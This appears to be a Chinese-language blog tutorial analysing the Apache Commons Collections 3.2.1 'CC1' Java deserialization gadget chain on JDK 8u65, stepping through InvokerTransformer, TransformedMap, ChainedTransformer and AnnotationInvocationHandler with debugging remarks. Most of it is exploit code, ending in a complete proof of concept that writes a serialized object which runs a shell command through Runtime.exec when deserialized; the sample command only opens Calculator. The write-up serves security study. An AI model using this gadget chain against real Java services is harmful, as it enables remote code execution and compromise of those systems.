Java反序列化(2)——CC链1

调试环境

JDK

CC1这条链除了Commons Collections的问题,还有一部分是Java Sun库的问题,所以对JDK的版本也有要求。

所以JDK版本选择的是8u65,下载链接:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

这里千万千万不要在官网下载!它这虽然写的是8u65,但下载下来其实是8u111,其中的漏洞点已经被修复了。

Sun库源码

下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

CommonsCollections3.2.1 Maven依赖

Apache Commons Collections是Apache Software Foundation提供的一个Java库,该库提供了Java开发者常用的数据结构和工具类,以补充Java标准库中的集合框架。

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

CC1链分析

危险方法——InvokerTransformer.transform

关键点:commons collection的Transformer接口,危险方法就在实现Transformer接口的InvokerTransformer类中。

InvokerTransformertransform方法是危险方法

很典型的反射调用写法

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

看看InvokerTransformer的构造函数,methodNameparamTypes在创建实例时传入

InvokerTransformer使用方法,熟悉这个格式。

  • 第一个参数是方法名称,类型是字符串
  • 第二个参数是方法接收参数的类型,是一个class数组
  • 第三个是传入方法的参数,是一个Object数组
String cmd = "open -a Calculator";	// 使用Runtime.exec执行的命令
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{cmd}
);      // 传入InvokerTransformer要执行的方法
invokerTransformer.transform(r);    // 传入执行这个方法的对象

在有了危险方法后,就去找哪里调用了它(如果有readObject调用了它,同时传入的对象还是可控的那就直接成了)。

调用方法——TransformedMap.checkSetValue

经过漫长的寻找TransformedMap中的checkSetValue的方法调用了它

看看TransformedMap类是怎么个事儿

我理解是TransformedMap相当于是一个Map对象加上了两个额外的Transformer属性:keyTransformer & valueTransformer

现在来实例化这个类,因为它的构造函数是protected,实例它的话调用的是静态方法decorate

按照说明来实例化这个类,因为TransformedMap间接实现了Map接口,所以最后返回的类型是Map

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");	// 在map中随便插入一组键值对
Map<Object, Object> transformedMap = TransformedMap.decorate(
        map,       			 	 // keyTransformer并不是个必要参数
        null,       			 // 同时checkSetValue用的是valueTransformer
        invokerTransformer       // 所以这里可以设置为null
);

实例化这个类后,看哪里调用了checkSetValue方法。经过漫长的寻找,在TransformedMap的父类AbstractInputCheckedMapDecoratorMapEntry类中的setValue方法可以看到checkSetValue的调用。

继续之前,需要理解下Java的Map.Entry。Java的Map就像是Pyhton的Dict,是一个键值对。Java中使用键值对遍历Map就会用到Entry对象,Entry就相当于一组键值对。

MapEntry类就间接继承了Map.Entry,当TransformedMap在遍历时的Entry就是这个MapEntry。而checkSetValue就在它实现的setValue方法中被调用。

所以要利用TransformedMap我们需要写一个遍历Map的功能:

for(Map.Entry entry: transformedMap.entrySet()){
    entry.setValue(r);
}

调试一下这个代码,看看MapEntry是怎么被调用的。首先transformedMap.entrySet()会返回一个EntrySet对象,第二个parent参数就是transformedMap

EntrySet实现了一个一个iterator方法,这个方法返回了一个迭代器对象EntrySetIterator

EntrySetIterator在每一次循环的时候都用调用next方法得到当前循环的值,这里它就返回了这个MapEntry

MapEntryparent就是我们一开始传入的transformedMap,所以它在调用setValue(r)的时候就相当于调用了transformedMap.checkSetValue(r)

入口类——AnnotationInvocationHandler

接下来我们找一下哪里调用了这个setValue方法。经过漫长的寻找,在AnnotationInvocationHandler中的readObject完美符合我们的条件。

  1. readObject+参数可控,完美符合一个入口类的要求。
  2. Map遍历功能,同时Entry还调用了setValue,完美的利用点。

疑点1——无法修改的setValue参数

不过这里有一个问题,就是setValue的参数并不是可控的。

根据之前的分析,setValue要传入一个Runtime的实例,它最后会传入invokerTransformer.transform(r)来执行exec方法。现在这里的值已经写死了,有什么办法可以解决呢?

经过漫长的分析,实现Transformer接口的还有些可以利用的类。

无论传入什么ConstantTransformertransform都会返回一个固定的值。

这个值会在实例化这个类的时候传入。

实验一下

ConstantTransformer constantTransformer = new ConstantTransformer(r);   // 实例化的时候传入Runtime的实例
invokerTransformer.transform(constantTransformer.transform("123"));     // 无论传入什么constantTransformer.transform都会返回Runtime的实例

感觉哪里怪怪的,因为这个调用链最后只是让TransformedMapvalueTransformer调用了一次transform方法,实际上是执行的代码是一个O.transform(input)的形式,但上面的写法是让constantTransformer.transform的结果作为参数传入invokerTransformer.transform中,是一种O1.transform(O2.transform(input)),这显然不符合这个条件。

这就要ChainedTransformer登场了。它的transform是对iTransformers的一个链式调用

iTransformers是一个Transformer数组,在实例化时传入。

按照这个形式,我们实例化一个ChainedTransformer

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(r),
    new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{cmd}
    )
});
chainedTransformer.transform("skysky");

这个chainedTransformer在调用transform的时候无论传入什么都不会影响最后执行的结果,而且也符合这条链最后的调用形式O.transform(input)

我们把chainedTransformer放到TransformedMap中验证一下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(r),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{cmd}
        )
});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(
        map,
        null,     
        chainedTransformer     
);                             

for(Map.Entry entry: transformedMap.entrySet()){
    entry.setValue(r);
}

没有任何问题,回到刚刚的AnnotationInvocationHandler。这是可序列化的类,同时它在反序列化的时候会通过setValue执行到chainedTransformer.transform(input),虽然input无法控制,但是我们已经通过ConstantTransformer让最后的结果不受input影响了。

关于AnnotationInvocationHandler的两个参数,memberValues直接就是transformedMaptype则是一个Annotation的子类。

把完整的链写出来,因为AnnotationInvocationHandler并不是一个public类,实例它的话只能通过反射。

String cmd = "open -a Calculator";
Runtime r = Runtime.getRuntime();

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(r),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{cmd}
        )
});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(
        map,
        null,
        chainedTransformer
);

// AnnotationInvocationHandler实例化
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constantTransformer = c.getDeclaredConstructor(Class.class, Map.class);
constantTransformer.setAccessible(true);
Object o = constantTransformer.newInstance(Override.class, transformedMap);

// 序列化/反序列化
serialize(o);
unserialize("cc1.ser");

o就是最后得到的反序列化对象。但是运行这段代码会出现报错

疑点2——无法序列化的Runtime

问题出在ChainedTransformer对象实例化时的new ConstantTransformer(r)。在序列化一个对象的时候,它的所有属性和成员变量也会被尝试序列化。而这里传入的r是一个Runtime,而Runtime没有使用Serializable也就不能被序列化,

虽然Runtime不能被序列化,但是Runtime.class是可以被序列化的。所以我们用Runtime.class反射获取最后传入invokerTransformer.transform()中的Runtime对象。

Class rc = Runtime.class;
Method getRuntionMethod = rc.getDeclaredMethod("getRuntime", null);     // 因为是无参方法,所以参数类型为null
Runtime r = (Runtime) getRuntionMethod.invoke(null, null);  // 以为是无参静态方法,所以调用对象和参数都为null

将这个流程用invokerTransformer来实现。

第一步是Runtime.class调用getDeclaredMethodgetDeclaredMethod的声明为public Method getDeclaredMethod(String name, Class<?>... parameterTypes),第一个参数类型是String,学习下第二个Class<?>... parameterTypes

  1. Class<?>: 这部分表示一个通用的 Class 类型。? 是一个通配符,表示这可以是任何类型的 Class 对象,如 Class<String>, Class<Integer>, 等等。
  2. ...: 这是Java的可变参数(varargs)的表示方法。它允许你在调用该方法时传入任意数量的参数。
  3. 所以 parameterTypes 实际上是一个 Class[] 类型的数组。
Class rc = Runtime.class;
Method getRuntionMethod = (Method)  new InvokerTransformer(
    "getMethod",
    new Class[]{String.class, Class[].class},
    new Object[]{"getRuntime", null}
).transform(rc);

第二步是getRuntionMethod调用invokeinvoke的声明为public Object invoke(Object obj, Object... args)

Runtime r = (Runtime) new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}
).transform(getRuntionMethod);

这个流程又是一个InvokerTransformer的链式调用,所以将其拼装到ChainedTransformer中。测试一下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        new ConstantTransformer(rc),
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null}
        ),
        new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}
        ),
        new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{cmd}
        )
});
chainedTransformer.transform("skky");

疑点3——readObject的判断

现在Runtime的问题解决了,但是这条链依然走不通。原因是readObject中,要走到setValue还要通过一个判断。而此处Class<?> memberType = memberTypes.get(name);返回了一个null,导致无法进入后面的代码。

调试一下看看是怎么个事儿。首先代码会根据传入的type,这里就是Override.class获取一个annotationType对象。

经过一个很长的调用链,最后annotationType的内容是,这似乎是Override.class的一个基本信息,而Member types似乎是其中成员变量的信息。因为Override这个类没有任何成员变量,所以Member types为空。

然后annotationType.memberTypes()会返回annotationType中Member types,根据变量类型我们知道这个是一个Map

紧接着在memberTypes.get(name);,这个name是我们字典的key值,因为memberTypes为空,自然memberType就为null了

知道原因后,那我们就找一个继承了Annotation且有成员变量的类——Target

它有一个成员变量value,我们用它来修改我们的链

// ... 代码不变

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");	// 将"key"改为"value"

// ... 代码不变
Object o = constantTransformer.newInstance(Target.class, transformedMap);	// Override改为Target

// ... 代码不变

成功执行

总结

装模作样画个流程图

最后的完整代码

package CC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;

public class CC1 {
    public static void main(String[] args) throws Exception{
        String cmd = "open -a Calculator";
        Class rc = Runtime.class;

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(rc),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{cmd}
                )
        });

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(
                map,
                null,
                chainedTransformer
        );

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constantTransformer = c.getDeclaredConstructor(Class.class, Map.class);
        constantTransformer.setAccessible(true);
        Object o = constantTransformer.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("cc1.ser");
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
        oos.writeObject(obj);
        oos.close();
    }
}

至此CC1链完全结束,好累......